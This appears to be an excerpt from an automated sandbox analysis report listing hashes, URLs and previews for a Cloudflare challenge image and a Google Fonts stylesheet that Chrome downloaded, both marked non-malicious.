                          MD5:9246CCA8FC3C00F50035F28E9F6B7F7D
                          SHA1:3AA538440F70873B574F40CD793060F53EC17A5D
                          SHA-256:C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
                          SHA-512:A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
                          Malicious:false
                          Reputation:unknown
                          URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
                          Preview:.PNG........IHDR...............s....IDAT.....$.....IEND.B`.
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (1572)
                          Category:downloaded
                          Size (bytes):5973
                          Entropy (8bit):5.393222621370193
                          Encrypted:false
                          SSDEEP:
                          MD5:84B4D2FB3E351B07EB44BE9076C40C3F
                          SHA1:F798336EF7F04FB213B51E7D32686B8E682ADAD9
                          SHA-256:1C93A9EC1B17079D7F97C8176C2AB7807D10C133EFDD87FE2CCC233B152CA399
                          SHA-512:8A307DCC1D60710FACB22BE693AFE2FFBFD332513FAD153EEAD776DED703A365F494FB1B46B8BCF00D382523C4B8BCA1E93612ED307519C5DF709375132D03F8
                          Malicious:false
                          Reputation:unknown
                          URL:https://fonts.googleapis.com/css?family=Open+Sans:600
                          Preview:/* cyrillic-ext */.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 600;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4taVIGxA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./* cyrillic */.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 600;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4kaVIGxA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./* greek-ext */.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 600;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4saVIGxA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./* greek */.@font-fa
                          No static file info